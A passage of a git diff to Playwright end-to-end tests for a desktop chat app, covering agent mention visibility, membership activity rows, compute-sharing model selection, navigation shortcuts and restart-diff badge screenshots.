@@ -851,7 +990,104 @@ test("relay-only agents stay hidden from channel mentions even when allowlisted"
   const input = page.getByTestId("message-input");
   await input.fill("@quinn");
 
+  const dropdown = autocomplete(page);
+  await expect(dropdown.getByText("quinn")).toBeVisible();
+  await expect(dropdown.getByText("agent")).toBeVisible();
+});
+
+test("relay-only allowlisted agents stay hidden outside their channel", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    relayAgents: [
+      {
+        pubkey: ALLOWLIST_RELAY_AGENT_PUBKEY,
+        name: "quinn",
+        respondTo: "allowlist",
+        respondToAllowlist: [MOCK_VIEWER_PUBKEY],
+        channelNames: ["agents"],
+      },
+    ],
+  });
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+
+  await page.getByTestId("message-input").fill("@quinn");
+
+  await expect(autocomplete(page)).toHaveCount(0);
+});
+
+test("relay-only anyone agents are visible when a channel is shared", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    relayAgents: [
+      {
+        pubkey: ALLOWLIST_RELAY_AGENT_PUBKEY,
+        name: "quinn",
+        respondTo: "anyone",
+        channelNames: ["general"],
+      },
+    ],
+  });
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+
+  await page.getByTestId("message-input").fill("@quinn");
+
+  await expect(autocomplete(page).getByText("quinn")).toBeVisible();
+});
+
+test("relay-only excluded agents stay hidden from channel mentions", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    relayAgents: [
+      {
+        pubkey: ALLOWLIST_RELAY_AGENT_PUBKEY,
+        name: "quinn",
+        respondTo: "allowlist",
+        respondToAllowlist: [TEST_IDENTITIES.outsider.pubkey],
+        channelNames: ["general"],
+      },
+    ],
+  });
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+
+  await page.getByTestId("message-input").fill("@quinn");
+
+  await expect(autocomplete(page)).toHaveCount(0);
+});
+
+test("shared agents wait for initial directory authorization", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    agentListDelayMs: 1_000,
+    relayAgents: [
+      {
+        pubkey: ALLOWLIST_RELAY_AGENT_PUBKEY,
+        name: "quinn",
+        respondTo: "allowlist",
+        respondToAllowlist: [MOCK_VIEWER_PUBKEY],
+        channelNames: ["general"],
+      },
+    ],
+  });
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+
+  await page.getByTestId("message-input").fill("@quinn");
+
   await expect(autocomplete(page)).toHaveCount(0);
+  await expect(autocomplete(page).getByText("quinn")).toBeVisible({
+    timeout: 3_000,
+  });
 });
 
 test("mentioning an in-channel stopped managed agent starts it before sending", async ({
@@ -1134,7 +1370,7 @@ test("system add rows use plain names while remove rows retain agent mention sty
   ).toHaveText("portal");
 });
 
-test("groups member additions and joins with hidden names in the standard tooltip", async ({
+test("groups contiguous arrival activity with hidden names in the standard tooltip", async ({
   page,
 }) => {
   const actor = {
@@ -1183,20 +1419,25 @@ test("groups member additions and joins with hidden names in the standard toolti
 
   const groupedRow = page
     .getByTestId("system-message-row")
-    .filter({ hasText: "added by Alice Chen" });
+    .filter({ hasText: "added by Alice Chen, along with" });
   for (const visibleName of [
     "Erica Chapman",
     "Peter Griffin",
     "Marcia Thomas",
-    "Jordan Lee",
   ]) {
     await expect(groupedRow).toContainText(visibleName);
   }
   await expect(
-    groupedRow.locator("p").filter({ hasText: "added by" }),
+    groupedRow.locator("p").filter({ hasText: "added by Alice Chen" }),
   ).toContainText(
-    "added by Alice Chen, along with Peter Griffin, Marcia Thomas, Jordan Lee, and 2 others",
+    "Erica Chapman added by Alice Chen, along with Peter Griffin, Marcia Thomas, Jordan Lee, and 2 others",
   );
+  const avatarStack = groupedRow.getByTestId("system-message-avatar-stack");
+  await expect(avatarStack).toHaveCount(1);
+  await expect(avatarStack.getByTestId("system-message-avatar")).toHaveCount(5);
+  await expect(
+    groupedRow.locator("p").filter({ hasText: "added by Alice Chen" }),
+  ).toHaveCSS("text-align", "left");
   await expect(groupedRow.locator("[data-mention]")).toHaveCount(0);
 
   const visibleName = groupedRow.getByText("Peter Griffin", { exact: true });
@@ -1218,51 +1459,7 @@ test("groups member additions and joins with hidden names in the standard toolti
   await expect(tooltip).toContainText("Olivia Park");
   await expect(tooltip).toContainText("Sam Rivera");
 
-  await page.evaluate(
-    ({ addedTargets, kind }) => {
-      const createdAt = Math.floor(Date.now() / 1_000) + 60;
-      for (const [index, target] of addedTargets.entries()) {
-        window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
-          channelName: "general",
-          content: JSON.stringify({
-            type: "member_joined",
-            actor: target.pubkey,
-            target: target.pubkey,
-          }),
-          createdAt: createdAt + index,
-          kind,
-        });
-      }
-    },
-    { addedTargets: targets, kind: SYSTEM_MESSAGE_KIND },
-  );
-  await waitForTimelineSettled(page);
-
-  const joinedRow = page
-    .getByTestId("system-message-row")
-    .filter({ hasText: "joined the channel" })
-    .filter({ hasText: "Erica Chapman" });
-  await expect(
-    joinedRow.locator("p").filter({ hasText: "joined the channel" }),
-  ).toContainText(
-    "joined the channel along with Peter Griffin, Marcia Thomas, Jordan Lee, and 2 others",
-  );
-  await expect(joinedRow.locator("[data-mention]")).toHaveCount(0);
-
-  const joinedOthersTrigger = joinedRow.getByRole("button", {
-    name: "2 others",
-  });
-  await page.mouse.move(0, 0);
-  await expect(joinedOthersTrigger).toHaveCSS("text-decoration-line", "none");
-  await joinedOthersTrigger.hover();
-  // Scope to the *open* tooltip: the first row's tooltip stays mounted with
-  // data-state="closed" while it animates out, so a bare role=tooltip lookup
-  // matches two elements and trips strict mode.
-  const joinedTooltip = page.locator(
-    '[role="tooltip"]:not([data-state="closed"])',
-  );
-  await expect(joinedTooltip).toContainText("Olivia Park");
-  await expect(joinedTooltip).toContainText("Sam Rivera");
+  await expect(avatarStack.locator("..")).toHaveCSS("align-items", "center");
 });
 
 test("system agent profile exposes owned agent actions", async ({ page }) => {
@@ -1310,7 +1507,7 @@ test("system agent profile exposes owned agent actions", async ({ page }) => {
   );
 });
 
-test("system agent avatar exposes owned agent actions", async ({ page }) => {
+test("system agent activity avatar stack is decorative", async ({ page }) => {
   await page.goto("/");
   await page.getByTestId("channel-random").click();
   await expect(page.getByTestId("chat-title")).toHaveText("random");
@@ -1339,15 +1536,49 @@ test("system agent avatar exposes owned agent actions", async ({ page }) => {
     .getByTestId("system-message-row")
     .filter({ hasText: "mira" })
     .filter({ hasText: "joined the channel" });
-  await joinedRow.getByTestId("system-message-avatar").hover();
+  const avatarStack = joinedRow.getByTestId("system-message-avatar-stack");
+  await expect(avatarStack.getByTestId("system-message-avatar")).toHaveCount(1);
+  await expect(avatarStack.locator("button")).toHaveCount(0);
+});
 
-  const profilePopover = page.locator(
-    '[data-testid="user-profile-popover"][data-state="open"]',
+test("membership activity folds a member joining then leaving", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.getByTestId("channel-random").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("random");
+  await waitForMockLiveSubscription(page, "random", SYSTEM_MESSAGE_KIND);
+
+  await page.evaluate(
+    ({ alicePubkey, kind }) => {
+      const createdAt = Math.floor(Date.now() / 1_000);
+      window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+        channelName: "random",
+        content: JSON.stringify({
+          type: "member_joined",
+          actor: alicePubkey,
+          target: alicePubkey,
+        }),
+        createdAt,
+        kind,
+      });
+      window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+        channelName: "random",
+        content: JSON.stringify({ type: "member_left", actor: alicePubkey }),
+        createdAt: createdAt + 1,
+        kind,
+      });
+    },
+    { alicePubkey: TEST_IDENTITIES.alice.pubkey, kind: SYSTEM_MESSAGE_KIND },
   );
-  await expect(profilePopover).toBeVisible();
-  await expectOwnedAgentProfileActions(
-    profilePopover,
-    PROFILE_ONLY_AGENT_PUBKEY,
+  await waitForTimelineSettled(page);
+  const lifecycleRow = page
+    .getByTestId("system-message-row")
+    .filter({ hasText: "alice" })
+    .filter({ hasText: "joined, then left the channel" });
+  await expect(lifecycleRow).toBeVisible();
+  await expect(lifecycleRow.getByTestId("system-message-avatar")).toHaveCount(
+    1,
   );
 });
 
diff --git a/desktop/tests/e2e/mesh-compute.spec.ts b/desktop/tests/e2e/mesh-compute.spec.ts
index b2e8fc28a9..c55b9db5d9 100644
--- a/desktop/tests/e2e/mesh-compute.spec.ts
+++ b/desktop/tests/e2e/mesh-compute.spec.ts
@@ -15,9 +15,8 @@ type E2eWindow = Window & {
   }) => void;
 };
 
-test("Share compute selects the curated default and starts and stops sharing", async ({
-  page,
-}) => {
+test("Share compute chooses a model before sharing", async ({ page }) => {
+  const modelRef = "hf://demo/SmolLM2-135M-Instruct-GGUF:Q4_K_M";
   await installMockBridge(page);
   await page.goto("/");
   await openSettings(page, "compute");
@@ -26,19 +25,34 @@ test("Share compute selects the curated default and starts and stops sharing", a
   const toggle = page.getByTestId("mesh-share-compute-toggle");
   const model = page.getByTestId("mesh-share-compute-model");
 
-  await expect(card).toContainText("Not sharing right now");
-  await expect(card).toContainText(
-    "Choose a suggested model below, or enter a model reference or local file",
-  );
-  await expect(model).toHaveValue("Gemma-4-E4B-it-Q4_K_M");
+  await expect(card).not.toContainText("Not sharing right now");
+  await expect(
+    page.getByTestId("mesh-share-compute-options-motion"),
+  ).toHaveCount(0);
+  await expect(
+    page.getByTestId("mesh-share-compute-sharing-status"),
+  ).toHaveCount(0);
+  await expect(model).toBeVisible();
   await expect(toggle).toBeEnabled();
+  await model.click();
+  await page.getByRole("option", { name: "Custom model…" }).click();
+  await page.getByLabel("Custom model reference").fill(modelRef);
+
+  await toggle.click();
+  await expect(
+    page.getByTestId("mesh-share-compute-options-motion"),
+  ).toBeVisible();
+  await expect(
+    page.getByTestId("mesh-share-compute-sharing-status"),
+  ).toBeVisible();
+  await expect(model).toBeVisible();
   await expect(card).toContainText(
     "Buzz downloads remote models when sharing starts",
   );
-
-  await toggle.click();
   await expect(toggle).toBeChecked();
-  await expect(card).toContainText("Sharing Gemma 4 E4B with relay members");
+  await expect(
+    page.getByTestId("mesh-share-compute-sharing-status"),
+  ).toContainText("SmolLM2 135M with relay members");
   await expect
     .poll(() =>
       page.evaluate(() => (window as E2eWindow).__BUZZ_E2E_COMMANDS__ ?? []),
@@ -53,13 +67,20 @@ test("Share compute selects the curated default and starts and stops sharing", a
     .toContainEqual({
       command: "mesh_start_node",
       payload: {
-        request: { mode: "serve", modelId: "Gemma-4-E4B-it-Q4_K_M" },
+        request: { mode: "serve", modelId: modelRef },
       },
     });
 
   await toggle.click();
   await expect(toggle).not.toBeChecked();
-  await expect(card).toContainText("Not sharing right now");
+  await expect(card).not.toContainText("Not sharing right now");
+  await expect(
+    page.getByTestId("mesh-share-compute-options-motion"),
+  ).toHaveCount(0);
+  await expect(
+    page.getByTestId("mesh-share-compute-sharing-status"),
+  ).toHaveCount(0);
+  await expect(model).toBeVisible();
   await expect
     .poll(() =>
       page.evaluate(() => (window as E2eWindow).__BUZZ_E2E_COMMANDS__ ?? []),
@@ -97,16 +118,20 @@ test("a consuming client can switch to sharing its saved local model", async ({
 
   const card = page.getByTestId("settings-mesh-share-compute");
   const toggle = page.getByTestId("mesh-share-compute-toggle");
-  const model = page.getByTestId("mesh-share-compute-model");
-
   await expect(card).toContainText(
     "This machine is currently using another member's shared compute",
   );
   await expect(card).toContainText("Buzz may briefly restart");
   await expect(toggle).not.toBeChecked();
-  await expect(model).toBeEnabled();
-  await expect(model).toHaveValue(localModel);
+  await expect(
+    page.getByTestId("mesh-share-compute-options-motion"),
+  ).toHaveCount(0);
   await expect(toggle).toBeEnabled();
+  const customModel = page.getByLabel("Custom model reference");
+  await expect(customModel).toHaveValue(localModel);
+  await customModel.fill("");
+  await expect(customModel).toBeVisible();
+  await customModel.fill("hf://demo/replacement-model:Q4_K_M");
   await toggle.click();
   await expect(toggle).toBeChecked();
 
@@ -117,6 +142,8 @@ test("a consuming client can switch to sharing its saved local model", async ({
   expect(commands.names).not.toContain("mesh_stop_node");
   expect(commands.payloads).toContainEqual({
     command: "mesh_start_node",
-    payload: { request: { mode: "serve", modelId: localModel } },
+    payload: {
+      request: { mode: "serve", modelId: "hf://demo/replacement-model:Q4_K_M" },
+    },
   });
 });
diff --git a/desktop/tests/e2e/messaging.spec.ts b/desktop/tests/e2e/messaging.spec.ts
index c6f5aefb9b..5d833f7713 100644
--- a/desktop/tests/e2e/messaging.spec.ts
+++ b/desktop/tests/e2e/messaging.spec.ts
@@ -130,14 +130,6 @@ test("agent owner label identifies the agent and owner", async ({ page }) => {
   await expect(ownerTreatment.locator(".sr-only")).toHaveText(
     "Agent managed by",
   );
-
-  const joinedRow = page
-    .getByTestId("system-message-row")
-    .filter({ hasText: "alice" })
-    .filter({ hasText: "joined the channel" });
-  await expect(joinedRow.getByTestId("message-agent-owner")).toContainText(
-    "managed bybob",
-  );
 });
 
 test("send a message and see it in timeline", async ({ page }) => {
diff --git a/desktop/tests/e2e/navigation.spec.ts b/desktop/tests/e2e/navigation.spec.ts
index f7a96cd568..18db55a50a 100644
--- a/desktop/tests/e2e/navigation.spec.ts
+++ b/desktop/tests/e2e/navigation.spec.ts
@@ -48,6 +48,37 @@ test("global back and forward move across channel routes", async ({ page }) => {
   await expect(page.getByTestId("chat-title")).toHaveText("random");
 });
 
+test("back/forward keyboard chords work while the composer has focus", async ({
+  page,
+}) => {
+  const backChord = process.platform === "darwin" ? "Meta+[" : "Alt+ArrowLeft";
+  const forwardChord =
+    process.platform === "darwin" ? "Meta+]" : "Alt+ArrowRight";
+
+  await page.goto("/");
+
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+
+  await page.getByTestId("channel-random").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("random");
+
+  // The composer autofocuses on channel switch; make the regression
+  // condition explicit by clicking into it. The chords must still fire
+  // from inside the contenteditable (#3775).
+  await page.getByTestId("message-input").click();
+  await expect(page.getByTestId("message-input")).toBeFocused();
+
+  await page.keyboard.press(backChord);
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+
+  await page.keyboard.press(forwardChord);
+  await expect(page.getByTestId("chat-title")).toHaveText("random");
+
+  // preventDefault kept the chord out of the editor — no stray characters.
+  await expect(page.getByTestId("message-input")).toHaveText("");
+});
+
 // FIXME: the forum post "Back to posts" header renders under the fixed top
 // chrome drag region, which intercepts the click. Pre-existing breakage —
 // this spec file was never registered in playwright.config.ts until now.
diff --git a/desktop/tests/e2e/needs-restart-screenshots.spec.ts b/desktop/tests/e2e/needs-restart-screenshots.spec.ts
index 7c836974f7..1a695844fb 100644
--- a/desktop/tests/e2e/needs-restart-screenshots.spec.ts
+++ b/desktop/tests/e2e/needs-restart-screenshots.spec.ts
@@ -1,11 +1,14 @@
 /**
- * Screenshot spec for the needsRestart badge and banner (PR #1853).
+ * Screenshot spec for the needsRestart badge and config diff (PR #1853 + diff
+ * overlay work).
  *
- * Exercises two surfaces:
- *   - Agent grid card: warning badge ("Restart required") on standalone and
- *     persona-backed cards when `needsRestart: true`, absent when false.
- *   - Profile panel Runtime tab: amber banner with copy branched on the
- *     per-agent auto-restart toggle.
+ * Exercises:
+ *   - Agent grid card and list-row badges at all three badge sites.
+ *   - Hover tooltip with itemised before→after diff (capped at 6 + "and N more").
+ *   - Runtime-tab banner with full uncapped diff list.
+ *   - Side-panel badge visible on the default (Info) tab — not only Runtime.
+ *   - DOM validity: tooltip trigger has no <button> ancestor.
+ *   - Generic rendering: unknown field ids, number/array values, masked values.
  */
 
 import { expect, test } from "@playwright/test";
@@ -13,13 +16,59 @@ import { expect, test } from "@playwright/test";
 import { installMockBridge, TEST_IDENTITIES } from "../helpers/bridge";
 import { waitForAnimations } from "../helpers/animations";
 
-const SHOTS = "test-results/pr-1853-screenshots";
+const SHOTS = "test-results/restart-diff-screenshots";
+
+// ── Sample diff entries ───────────────────────────────────────────────────────
+
+const DIFF_ENTRIES = [
+  {
+    field: "model",
+    change: {
+      kind: "value" as const,
+      before: "gpt-4",
+      after: "claude-3-5-sonnet",
+    },
+  },
+  {
+    field: "system_prompt",
+    change: { kind: "text" as const, before_chars: 512, after_chars: 1024 },
+  },
+  {
+    field: "env.OPENAI_API_KEY",
+    change: { kind: "masked" as const, before: "••••abc1", after: "••••xyz9" },
+  },
+  { field: "env.BUZZ_LOG", change: { kind: "added" as const } },
+  {
+    field: "relay_url",
+    change: { kind: "masked" as const, before: "••••", after: "••••" },
+  },
+  // Array value — args are atomic; rendered via JSON.stringify (position 6: last visible in tooltip)
+  {
+    field: "agent_args",
+    change: {
+      kind: "value" as const,
+      before: ["acp"],
+      after: ["acp", "--verbose"],
+    },
+  },
+  // 7th entry — truncated in tooltip (cap is 6); visible in uncapped banner
+  {
+    field: "parallelism",
+    change: { kind: "value" as const, before: 1, after: 4 },
+  },
+  // 8th entry — truncated in tooltip; visible in uncapped banner
+  {
+    field: "args",
+    change: { kind: "masked" as const, before: "••••", after: "••••" },
+  },
+];
 
 const STANDALONE_AGENT = {
   pubkey: TEST_IDENTITIES.alice.pubkey,
   name: "Local Agent",
   status: "running" as const,
   needsRestart: true,
+  restartDiff: DIFF_ENTRIES,
 };
 
 const PERSONA_AGENT = {
@@ -28,9 +77,10 @@ const PERSONA_AGENT = {
   personaId: "builtin:fizz",
   status: "running" as const,
   needsRestart: true,
+  restartDiff: DIFF_ENTRIES,
 };
 
-/** A running agent with no config drift — badge must be absent. */
+/** Running agent with no config drift — badge must be absent. */
 const NO_DRIFT_AGENT = {
   pubkey: TEST_IDENTITIES.tyler.pubkey,
   name: "Stable Agent",
@@ -38,6 +88,40 @@ const NO_DRIFT_AGENT = {
   needsRestart: false,
 };
 
+/** Agent with only 3 diff entries — tooltip shows all, no "and N more". */
+const SHORT_DIFF_AGENT = {
+  pubkey: TEST_IDENTITIES.charlie.pubkey,
+  name: "Short Diff Agent",
+  status: "running" as const,
+  needsRestart: true,
+  restartDiff: [
+    {
+      field: "model",
+      change: { kind: "value" as const, before: null, after: "gpt-5" },
+    },
+    {
+      field: "some_unknown_field",
+      change: { kind: "value" as const, before: "old", after: "new" },
+    },
+    { field: "env.MY_TOKEN", change: { kind: "removed" as const } },
+  ],
+};
+
+/**
+ * Inactive agent with a friendly error AND a restart diff. Opening its card
+ * forces the panel to open on the Runtime tab (opensRuntimeTab logic).
+ * Used to assert: Runtime tab is active, hero badge visible, uncapped banner.
+ */
+const INACTIVE_FRIENDLY_ERROR_AGENT = {
+  pubkey: TEST_IDENTITIES.outsider.pubkey,
+  name: "Error Restart Agent",
+  status: "stopped" as const,
+  needsRestart: true,
+  restartDiff: DIFF_ENTRIES,
+  lastError: "Agent reported error (code -32002): llm model not found",
+  lastErrorCode: -32002,
+};
+
 async function gotoAgentsView(page: import("@playwright/test").Page) {
   await page.goto("/", { waitUntil: "domcontentloaded" });
   await expect(page.getByTestId("open-agents-view")).toBeVisible({
@@ -49,7 +133,7 @@ async function gotoAgentsView(page: import("@playwright/test").Page) {
   });
 }
 
-test.describe("needs-restart screenshots", () => {
+test.describe("restart-diff screenshots", () => {
   test.use({ viewport: { width: 1280, height: 900 } });
 
   test.beforeEach(async ({ page }) => {
@@ -62,6 +146,8 @@ test.describe("needs-restart screenshots", () => {
     });
   });
 
+  // ── Badge presence ──────────────────────────────────────────────────────────
+
   test("01-grid-standalone-restart-badge", async ({ page }) => {
     await installMockBridge(page, {
       managedAgents: [STANDALONE_AGENT, NO_DRIFT_AGENT],
@@ -69,7 +155,6 @@ test.describe("needs-restart screenshots", () => {
 
     await gotoAgentsView(page);
 
-    // Drifted card shows the badge.
     const agentCard = page.getByTestId(
       `managed-agent-${STANDALONE_AGENT.pubkey}`,
     );
@@ -78,7 +163,6 @@ test.describe("needs-restart screenshots", () => {
       agentCard.getByText("Restart required", { exact: true }),
     ).toBeVisible();
 
-    // Non-drifted card does NOT show the badge.
     const stableCard = page.getByTestId(
       `managed-agent-${NO_DRIFT_AGENT.pubkey}`,
     );
@@ -115,14 +199,130 @@ test.describe("needs-restart screenshots", () => {
     });
   });
 
-  test("03-runtime-tab-restart-banner", async ({ page }) => {
+  // ── Tooltip on card badge + no-button-ancestor (B4: badge is sibling of the overlay button) ─
+
+  test("03-card-badge-tooltip-and-no-button-ancestor", async ({ page }) => {
+    await installMockBridge(page, {
+      managedAgents: [STANDALONE_AGENT, NO_DRIFT_AGENT],
+    });
+
+    await gotoAgentsView(page);
+
+    const agentCard = page.getByTestId(
+      `managed-agent-${STANDALONE_AGENT.pubkey}`,
+    );
+    await expect(agentCard).toBeVisible({ timeout: 10_000 });
+
+    // B4: the tooltip trigger must have no <button> ancestor.
+    // In AgentIdentityCard the badge lives in a z-30 container that is a
+    // sibling of the z-10 overlay <button> — not a descendant of it.
+    const badgeLocator = agentCard.getByTestId("restart-diff-badge");
+    await expect(badgeLocator).toBeVisible();
+
+    const hasButtonAncestor = await badgeLocator.evaluate((el) => {
+      let node: Element | null = el.parentElement;
+      while (node) {
+        if (node.tagName === "BUTTON") return true;
+        node = node.parentElement;
+      }
+      return false;
+    });
+    expect(hasButtonAncestor).toBe(false);
+
+    // Hover to open tooltip
+    await badgeLocator.hover();
+    const tooltip = page.locator("[role=tooltip]");
+    await expect(tooltip).toBeVisible({ timeout: 5_000 });
+
+    // Tooltip is capped at 6 entries with "and 2 more" for 8-entry diff
+    await expect(tooltip.getByText("Model:")).toBeVisible();
+    await expect(tooltip.getByText("and 2 more")).toBeVisible();
+
+    // Array value rendered as JSON.stringify in the value slot
+    await expect(tooltip.getByText(/\["acp"\]/)).toBeVisible();
+
+    await waitForAnimations(page);
+    await page.screenshot({ path: `${SHOTS}/03-card-badge-tooltip.png` });
+  });
+
+  // ── Tooltip with short diff (no truncation) ─────────────────────────────────
+
+  test("04-card-tooltip-short-diff-no-truncation", async ({ page }) => {
+    await installMockBridge(page, {
+      managedAgents: [SHORT_DIFF_AGENT],
+    });
+
+    await gotoAgentsView(page);
+
+    const agentCard = page.getByTestId(
+      `managed-agent-${SHORT_DIFF_AGENT.pubkey}`,
+    );
+    const badge = agentCard.getByTestId("restart-diff-badge");
+    await expect(badge).toBeVisible({ timeout: 10_000 });
+    await badge.hover();
+    const tooltip = page.locator("[role=tooltip]");
+    await expect(tooltip).toBeVisible({ timeout: 5_000 });
+
+    // All 3 entries visible
+    await expect(tooltip.getByText("Model:")).toBeVisible();
+    // Unknown field humanised generically
+    await expect(tooltip.getByText("Some unknown field:")).toBeVisible();
+    // No truncation line
+    await expect(tooltip.getByText(/and \d+ more/)).toHaveCount(0);
+
+    await waitForAnimations(page);
+    await page.screenshot({ path: `${SHOTS}/04-short-diff-no-truncation.png` });
+  });
+
+  // ── Keyboard focus shows tooltip ──────────────────────────────────────────
+
+  test("05-card-tooltip-keyboard-focus", async ({ page }) => {
+    await installMockBridge(page, {
+      managedAgents: [STANDALONE_AGENT],
+    });
+
+    await gotoAgentsView(page);
+
+    const badge = page
+      .getByTestId(`managed-agent-${STANDALONE_AGENT.pubkey}`)
+      .getByTestId("restart-diff-badge");
+    await badge.focus();
+    const tooltip = page.locator("[role=tooltip]");
+    await expect(tooltip).toBeVisible({ timeout: 5_000 });
+  });
+
+  // ── Persona card tooltip (AgentIdentityCard — pointer-events-auto) ─────────
+
+  test("06-persona-card-tooltip", async ({ page }) => {
+    await installMockBridge(page, {
+      activePersonaIds: ["builtin:fizz"],
+      managedAgents: [PERSONA_AGENT],
+    });
+
+    await gotoAgentsView(page);
+
+    const personaCard = page.getByTestId(
+      `persona-agent-row-${PERSONA_AGENT.personaId}`,
+    );
+    const badge = personaCard.getByTestId("restart-diff-badge");
+    await expect(badge).toBeVisible({ timeout: 10_000 });
+    await badge.hover();
+    const tooltip = page.locator("[role=tooltip]");
+    await expect(tooltip).toBeVisible({ timeout: 5_000 });
+
+    await waitForAnimations(page);
+    await page.screenshot({ path: `${SHOTS}/06-persona-card-tooltip.png` });
+  });
+
+  // ── Runtime-tab banner with full uncapped diff ────────────────────────────
+
+  test("07-runtime-tab-restart-banner-with-diff", async ({ page }) => {
     await installMockBridge(page, {
       managedAgents: [STANDALONE_AGENT],
     });
 
     await gotoAgentsView(page);
 
-    // Click the agent card to open the profile panel.
     const agentButton = page.getByRole("button", {
       name: `${STANDALONE_AGENT.name} agent profile`,
     });
@@ -132,25 +332,54 @@ test.describe("needs-restart screenshots", () => {
     const panel = page.getByTestId("user-profile-panel");
     await expect(panel).toBeVisible({ timeout: 10_000 });
 
-    // Switch to the Runtime tab.
+    // Switch to the Runtime tab
     await panel.getByRole("tab", { name: "Runtime" }).click();
 
-    // Wait for the restart banner to appear.
     const banner = panel.getByTestId("needs-restart-banner");
     await expect(banner).toBeVisible({ timeout: 10_000 });
 
-    // Auto-restart defaults ON — verify the enabled copy.
+    // Banner shows the full uncapped diff list (8 entries, no "and N more")
+    const diffList = banner.getByTestId("restart-diff-list");
+    await expect(diffList).toBeVisible();
+    // All 8 entries visible in banner (no cap).
+    // exact: true prevents substring collision with "Agent args:" label.
+    await expect(diffList.getByText("Args:", { exact: true })).toBeVisible();
+
+    await waitForAnimations(page);
+    await banner.screenshot({
+      path: `${SHOTS}/07-runtime-tab-banner-with-diff.png`,
+    });
+  });
+
+  test("08-runtime-tab-restart-banner-auto-on", async ({ page }) => {
+    await installMockBridge(page, {
+      managedAgents: [STANDALONE_AGENT],
+    });
+
+    await gotoAgentsView(page);
+
+    const agentButton = page.getByRole("button", {
+      name: `${STANDALONE_AGENT.name} agent profile`,
+    });
+    await agentButton.click();
+
+    const panel = page.getByTestId("user-profile-panel");
+    await expect(panel).toBeVisible({ timeout: 10_000 });
+    await panel.getByRole("tab", { name: "Runtime" }).click();
+
+    const banner = panel.getByTestId("needs-restart-banner");
+    await expect(banner).toBeVisible({ timeout: 10_000 });
     await expect(
       banner.getByText("Buzz can restart it automatically"),
     ).toBeVisible();
 
     await waitForAnimations(page);
     await banner.screenshot({
-      path: `${SHOTS}/03-runtime-tab-restart-banner.png`,
+      path: `${SHOTS}/08-runtime-tab-banner-auto-on.png`,
     });
   });
 
-  test("04-runtime-tab-restart-banner-auto-off", async ({ page }) => {
+  test("09-runtime-tab-restart-banner-auto-off", async ({ page }) => {
     const agentAutoOff = {
       ...STANDALONE_AGENT,
       autoRestartOnConfigChange: false,
@@ -165,23 +394,111 @@ test.describe("needs-restart screenshots", () => {
     const agentButton = page.getByRole("button", {
       name: `${agentAutoOff.name} agent profile`,
     });
-    await expect(agentButton).toBeVisible({ timeout: 10_000 });
     await agentButton.click();
 
     const panel = page.getByTestId("user-profile-panel");
     await expect(panel).toBeVisible({ timeout: 10_000 });
-
     await panel.getByRole("tab", { name: "Runtime" }).click();
 
     const banner = panel.getByTestId("needs-restart-banner");
     await expect(banner).toBeVisible({ timeout: 10_000 });
-
-    // Auto-restart OFF — verify the disabled copy.
     await expect(banner.getByText("Automatic restart is off")).toBeVisible();
 
     await waitForAnimations(page);
     await banner.screenshot({
-      path: `${SHOTS}/04-runtime-tab-restart-banner-auto-off.png`,
+      path: `${SHOTS}/09-runtime-tab-banner-auto-off.png`,
+    });
+  });
+
+  // ── Side-panel badge on default (Info) tab ─────────────────────────────────
+
+  test("10-profile-panel-badge-on-default-info-tab", async ({ page }) => {
+    await installMockBridge(page, {
+      managedAgents: [STANDALONE_AGENT],
+    });
+
+    await gotoAgentsView(page);
+
+    // Open profile panel via the agent card button — opens on Info tab by default
+    const agentButton = page.getByRole("button", {
+      name: `${STANDALONE_AGENT.name} agent profile`,
+    });
+    await expect(agentButton).toBeVisible({ timeout: 10_000 });
+    await agentButton.click();
+
+    const panel = page.getByTestId("user-profile-panel");
+    await expect(panel).toBeVisible({ timeout: 10_000 });
+
+    // Tab-independent badge: visible even on the Info tab (not only Runtime)
+    const heroBadge = panel.getByTestId("restart-diff-badge");
+    await expect(heroBadge).toBeVisible({ timeout: 5_000 });
+
+    // Hero badge tooltip is functional: hover shows the diff list
+    await heroBadge.hover();
+    const heroTooltip = page.locator("[role=tooltip]");
+    await expect(heroTooltip).toBeVisible({ timeout: 5_000 });
+    await expect(heroTooltip.getByText("Model:")).toBeVisible();
+
+    // The Runtime tab banner is NOT visible on Info tab
+    await expect(panel.getByTestId("needs-restart-banner")).toHaveCount(0);
+
+    await waitForAnimations(page);
+    await panel.screenshot({
+      path: `${SHOTS}/10-panel-badge-default-info-tab.png`,
+    });
+  });
+
+  // ── Inactive + friendly-error: panel opens on Runtime, hero badge + banner ─
+
+  test("11-inactive-friendly-error-panel-opens-runtime-tab", async ({
+    page,
+  }) => {
+    await installMockBridge(page, {
+      managedAgents: [INACTIVE_FRIENDLY_ERROR_AGENT],
+    });
+
+    await gotoAgentsView(page);
+
+    // The card for an inactive agent with a friendly error forces Runtime tab on open.
+    const agentCard = page.getByTestId(
+      `managed-agent-${INACTIVE_FRIENDLY_ERROR_AGENT.pubkey}`,
+    );
+    await expect(agentCard).toBeVisible({ timeout: 10_000 });
+    await agentCard.click();
+
+    const panel = page.getByTestId("user-profile-panel");
+    await expect(panel).toBeVisible({ timeout: 10_000 });
+
+    // Panel opens on Runtime tab (opensRuntimeTab = true for inactive+friendlyError)
+    const runtimeTab = panel.getByRole("tab", { name: "Runtime" });
+    await expect(runtimeTab).toHaveAttribute("aria-selected", "true", {
+      timeout: 5_000,
+    });
+
+    // Hero badge is visible on the Runtime tab (tab-independent)
+    const heroBadge = panel.getByTestId("restart-diff-badge");
+    await expect(heroBadge).toBeVisible({ timeout: 5_000 });
+
